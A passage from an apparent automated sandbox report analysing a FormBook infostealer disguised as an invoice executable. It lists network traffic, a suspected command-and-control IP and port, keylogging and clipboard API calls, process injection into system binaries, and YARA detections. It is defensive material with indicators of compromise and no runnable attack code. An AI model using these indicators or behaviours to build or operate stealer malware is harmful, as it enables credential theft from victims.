71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 25 Nov 2024 12:45:43 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: tOxaspWNamv.exe, 0000000E.00000002.3408793565.0000000000DE4000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.mcfunding.org
Source: tOxaspWNamv.exe, 0000000E.00000002.3408793565.0000000000DE4000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.mcfunding.org/0598/
Source: ktmutil.exe, 0000000B.00000002.3412669118.0000000003BE4000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3414389532.0000000005FE0000.00000004.00000800.00020000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409897296.0000000002A74000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2799096462.0000000017A24000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://34.92.79.175:19817
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ktmutil.exe, 0000000B.00000002.3412669118.0000000003BE4000.00000004.10000000.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409897296.0000000002A74000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2799096462.0000000017A24000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: https://hm.baidu.com/hm.js?cf95fa39f4a72ce6b85bbfbe9eadb95a
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: ktmutil.exe, 0000000B.00000003.2689118508.0000000007A05000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D9D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: ktmutil.exe, 0000000B.00000003.2693767995.0000000007A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00246B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 2_2_00246B0C
Contains functionality to modify clipboard data
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00246D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard, 2_2_00246D07
Contains functionality to read the clipboard data
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00246B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard, 2_2_00246B0C
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00232B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState, 2_2_00232B37
Potential key logger detected (key state polling based)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0025F7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW, 2_2_0025F7FF

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 4.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000E.00000002.3408793565.0000000000D80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493193897.0000000002F90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2493863404.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3397246670.0000000002780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2492860834.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3409182554.0000000004790000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409416368.0000000002E70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3409702511.0000000002EC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Binary is likely a compiled AutoIt script file
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: This is a third-party compiled AutoIt script. 2_2_001F3D19
Source: ORIGINAL INVOICE COAU7230734290.exe String found in binary or memory: This is a third-party compiled AutoIt script.
Source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000000.2140082625.000000000029E000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_f4950a80-c
Source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000000.2140082625.000000000029E000.00000002.00000001.01000000.00000003.sdmp String found in binary or memory: "SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_266746b7-5
Source: ORIGINAL INVOICE COAU7230734290.exe String found in binary or memory: This is a third-party compiled AutoIt script. memstr_7c3df3d5-6
Source: ORIGINAL INVOICE COAU7230734290.exe String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_48c0b361-0
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: ORIGINAL INVOICE COAU7230734290.exe
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0042C883 NtClose, 4_2_0042C883
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72B60 NtClose,LdrInitializeThunk, 4_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk, 4_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72C70 NtFreeVirtualMemory,LdrInitializeThunk, 4_2_03A72C70
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A735C0 NtCreateMutant,LdrInitializeThunk, 4_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A74340 NtSetContextThread, 4_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A74650 NtSuspendThread, 4_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72BA0 NtEnumerateValueKey, 4_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72B80 NtQueryInformationFile, 4_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72BE0 NtQueryValueKey, 4_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72BF0 NtAllocateVirtualMemory, 4_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72AB0 NtWaitForSingleObject, 4_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72AF0 NtWriteFile, 4_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72AD0 NtReadFile, 4_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72FA0 NtQuerySection, 4_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72FB0 NtResumeThread, 4_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72F90 NtProtectVirtualMemory, 4_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72FE0 NtCreateFile, 4_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72F30 NtCreateSection, 4_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72F60 NtCreateProcessEx, 4_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72EA0 NtAdjustPrivilegesToken, 4_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72E80 NtReadVirtualMemory, 4_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72EE0 NtQueueApcThread, 4_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72E30 NtWriteVirtualMemory, 4_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72DB0 NtEnumerateKey, 4_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72DD0 NtDelayExecution, 4_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72D30 NtUnmapViewOfSection, 4_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72D00 NtSetInformationFile, 4_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72D10 NtMapViewOfSection, 4_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72CA0 NtQueryInformationToken, 4_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72CF0 NtOpenProcess, 4_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72CC0 NtQueryVirtualMemory, 4_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72C00 NtQueryInformationProcess, 4_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A72C60 NtCreateKey, 4_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A73090 NtSetValueKey, 4_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A73010 NtOpenDirectoryObject, 4_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A739B0 NtGetContextThread, 4_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A73D10 NtOpenProcessToken, 4_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A73D70 NtOpenThread, 4_2_03A73D70
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03244340 NtSetContextThread,LdrInitializeThunk, 11_2_03244340
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03244650 NtSuspendThread,LdrInitializeThunk, 11_2_03244650
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242B60 NtClose,LdrInitializeThunk, 11_2_03242B60
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242BA0 NtEnumerateValueKey,LdrInitializeThunk, 11_2_03242BA0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242BE0 NtQueryValueKey,LdrInitializeThunk, 11_2_03242BE0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 11_2_03242BF0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242AF0 NtWriteFile,LdrInitializeThunk, 11_2_03242AF0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242AD0 NtReadFile,LdrInitializeThunk, 11_2_03242AD0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242F30 NtCreateSection,LdrInitializeThunk, 11_2_03242F30
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242FB0 NtResumeThread,LdrInitializeThunk, 11_2_03242FB0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242FE0 NtCreateFile,LdrInitializeThunk, 11_2_03242FE0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242E80 NtReadVirtualMemory,LdrInitializeThunk, 11_2_03242E80
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242EE0 NtQueueApcThread,LdrInitializeThunk, 11_2_03242EE0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242D30 NtUnmapViewOfSection,LdrInitializeThunk, 11_2_03242D30
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242D10 NtMapViewOfSection,LdrInitializeThunk, 11_2_03242D10
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242DF0 NtQuerySystemInformation,LdrInitializeThunk, 11_2_03242DF0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242DD0 NtDelayExecution,LdrInitializeThunk, 11_2_03242DD0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242C60 NtCreateKey,LdrInitializeThunk, 11_2_03242C60
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242C70 NtFreeVirtualMemory,LdrInitializeThunk, 11_2_03242C70
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242CA0 NtQueryInformationToken,LdrInitializeThunk, 11_2_03242CA0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032435C0 NtCreateMutant,LdrInitializeThunk, 11_2_032435C0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_032439B0 NtGetContextThread,LdrInitializeThunk, 11_2_032439B0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242B80 NtQueryInformationFile, 11_2_03242B80
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242AB0 NtWaitForSingleObject, 11_2_03242AB0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242F60 NtCreateProcessEx, 11_2_03242F60
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242FA0 NtQuerySection, 11_2_03242FA0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242F90 NtProtectVirtualMemory, 11_2_03242F90
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242E30 NtWriteVirtualMemory, 11_2_03242E30
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242EA0 NtAdjustPrivilegesToken, 11_2_03242EA0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242D00 NtSetInformationFile, 11_2_03242D00
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242DB0 NtEnumerateKey, 11_2_03242DB0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242C00 NtQueryInformationProcess, 11_2_03242C00
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242CF0 NtOpenProcess, 11_2_03242CF0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03242CC0 NtQueryVirtualMemory, 11_2_03242CC0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03243010 NtOpenDirectoryObject, 11_2_03243010
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03243090 NtSetValueKey, 11_2_03243090
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03243D10 NtOpenProcessToken, 11_2_03243D10
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_03243D70 NtOpenThread, 11_2_03243D70
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_027A9280 NtCreateFile, 11_2_027A9280
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_027A93F0 NtReadFile, 11_2_027A93F0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_027A9700 NtAllocateVirtualMemory, 11_2_027A9700
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_027A94F0 NtDeleteFile, 11_2_027A94F0
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_027A95A0 NtClose, 11_2_027A95A0
Contains functionality to communicate with device drivers
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00236606: CreateFileW,DeviceIoControl,CloseHandle, 2_2_00236606
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022ACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 2_2_0022ACC5
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002379D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState, 2_2_002379D3
Detected potential crypto function
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0021B043 2_2_0021B043
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00203200 2_2_00203200
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00203B70 2_2_00203B70
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022410F 2_2_0022410F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002102A4 2_2_002102A4
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022038E 2_2_0022038E
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001FE3B0 2_2_001FE3B0
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022467F 2_2_0022467F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002106D9 2_2_002106D9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0025AACE 2_2_0025AACE
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00224BEF 2_2_00224BEF
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0021CCC1 2_2_0021CCC1
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F6F07 2_2_001F6F07
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001FAF50 2_2_001FAF50
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020B11F 2_2_0020B11F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0021D1B9 2_2_0021D1B9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002531BC 2_2_002531BC
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0021123A 2_2_0021123A
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0022724D 2_2_0022724D
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002313CA 2_2_002313CA
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F93F0 2_2_001F93F0
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020F563 2_2_0020F563
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F96C0 2_2_001F96C0
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023B6CC 2_2_0023B6CC
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F77B0 2_2_001F77B0
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0025F7FF 2_2_0025F7FF
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002279C9 2_2_002279C9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020FA57 2_2_0020FA57
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F9B60 2_2_001F9B60
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F7D19 2_2_001F7D19
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020FE6F 2_2_0020FE6F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00219ED0 2_2_00219ED0
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_001F7FA3 2_2_001F7FA3
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00E28148 2_2_00E28148
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004188F3 4_2_004188F3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00403060 4_2_00403060
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004010C0 4_2_004010C0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004101CA 4_2_004101CA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004101D3 4_2_004101D3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00401200 4_2_00401200
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0040235D 4_2_0040235D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00402360 4_2_00402360
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00416B33 4_2_00416B33
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004103F3 4_2_004103F3
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00402B95 4_2_00402B95
